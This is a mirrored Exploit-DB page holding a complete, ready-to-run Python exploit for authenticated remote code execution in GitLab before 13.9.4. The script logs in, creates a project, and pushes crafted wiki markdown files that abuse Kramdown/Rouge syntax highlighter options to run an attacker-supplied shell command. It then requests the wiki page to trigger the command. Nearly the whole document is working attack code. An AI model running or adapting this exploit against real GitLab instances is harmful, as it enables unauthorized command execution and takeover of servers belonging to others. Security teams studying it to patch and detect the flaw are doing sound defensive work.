Gitlab 13.9.3 – Remote Code Execution (Authenticated)

  • 作者: enox
    日期: 2021-06-03
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/49944/
  • # Exploit Title: Gitlab 13.9.3 - Remote Code Execution (Authenticated)
    # Date: 02/06/2021
    # Exploit Author: enox
    # Vendor Homepage: https://about.gitlab.com/
    # Software Link: https://gitlab.com/
    # Version: < 13.9.4
    # Tested On: Ubuntu 20.04
    # Environment: Gitlab 13.9.1 CE
    # Credits: https://hackerone.com/reports/1125425
    
    #!/usr/bin/python3
    
    import requests
    from bs4 import BeautifulSoup
    import random
    import os
    import argparse
    
    parser = argparse.ArgumentParser(description='GitLab < 13.9.4 RCE')
    parser.add_argument('-u', help='Username', required=True)
    parser.add_argument('-p', help='Password', required=True)
    parser.add_argument('-c', help='Command', required=True)
    parser.add_argument('-t', help='URL (Eg: http://gitlab.example.com)', required=True)
    args = parser.parse_args()
    
    username = args.u
    password = args.p
    gitlab_url = args.t
    command = args.c
    
    session = requests.Session()
    
    # Authenticating
    print("[1] Authenticating")
    r = session.get(gitlab_url + "/users/sign_in")
    soup = BeautifulSoup(r.text, features="lxml")
    token = soup.findAll('meta')[16].get("content")
    
    login_form = {
    "authenticity_token": token,
    "user[login]": username,
    "user[password]": password,
    "user[remember_me]": "0"
    }
    r = session.post(f"{gitlab_url}/users/sign_in", data=login_form)
    
    if r.status_code != 200:
    exit(f"Login Failed:{r.text}")
    else:
    print("Successfully Authenticated")
    
    # Creating Project
    print("[2] Creating Project")
    r = session.get(f"{gitlab_url}/projects/new")
    soup = BeautifulSoup(r.text, features="lxml")
    
    project_token = soup.findAll('meta')[16].get("content")
    project_token = project_token.replace("==", "%3D%3D")
    project_token = project_token.replace("+", "%2B")
    project_name = f'project{random.randrange(1, 10000)}'
    cookies = {'sidebar_collapsed': 'false','event_filter': 'all','hide_auto_devops_implicitly_enabled_banner_1': 'false','_gitlab_session': session.cookies['_gitlab_session'],}
    
    payload=f"utf8=%E2%9C%93&authenticity_token={project_token}&project%5Bci_cd_only%5D=false&project%5Bname%5D={project_name}&project%5Bpath%5D={project_name}&project%5Bdescription%5D=&project%5Bvisibility_level%5D=20"
    
    r = session.post(gitlab_url+'/projects', data=payload, cookies=cookies, verify=False)
    
    if "The change you requested was rejected." in r.text:
    exit('Exploit failed, check input params')
    else:
    print("Successfully created project")
    
    
    # Cloning Wiki and Writing Files
    print("[3] Pushing files to the project wiki")
    wiki_url = f'{gitlab_url}/{username}/{project_name}.wiki.git'
    os.system(f"git clone {wiki_url} /tmp/project")
    
    f1 = open("/tmp/project/load1.rmd","w")
    f1.write('{::options syntax_highlighter="rouge" syntax_highlighter_opts="{formatter: Redis, driver: ../get_process_mem\}" /}\n\n')
    f1.write('~~~ ruby\n')
    f1.write('def what?\n')
    f1.write('42\n')
    f1.write('end\n')
    f1.write('~~~\n')
    f1.close()
    
    f2 = open("/tmp/project/load2.rmd","w")
    temp='{::options syntax_highlighter="rouge" syntax_highlighter_opts="{a: \'`'+command+'`\', formatter: GetProcessMem\}" /}\n\n'
    f2.write(temp)
    f2.write('~~~ ruby\n')
    f2.write('def what?\n')
    f2.write('42\n')
    f2.write('end\n')
    f2.write('~~~\n')
    f2.close()
    
    # It will prompt for user and pass. Enter it.
    os.system('cd /tmp/project && git add -A . && git commit -m "Commit69" && git push')
    
    print("Succesfully Pushed")
    
    # Cleaning Up
    os.system('rm -rf /tmp/project')
    
    # Triggering RCE
    
    print("[4] Triggering RCE")
    trigger_url=f"{gitlab_url}/{username}/{project_name}/-/wikis/load2"
    
    r = session.get(trigger_url, cookies=cookies, verify=False)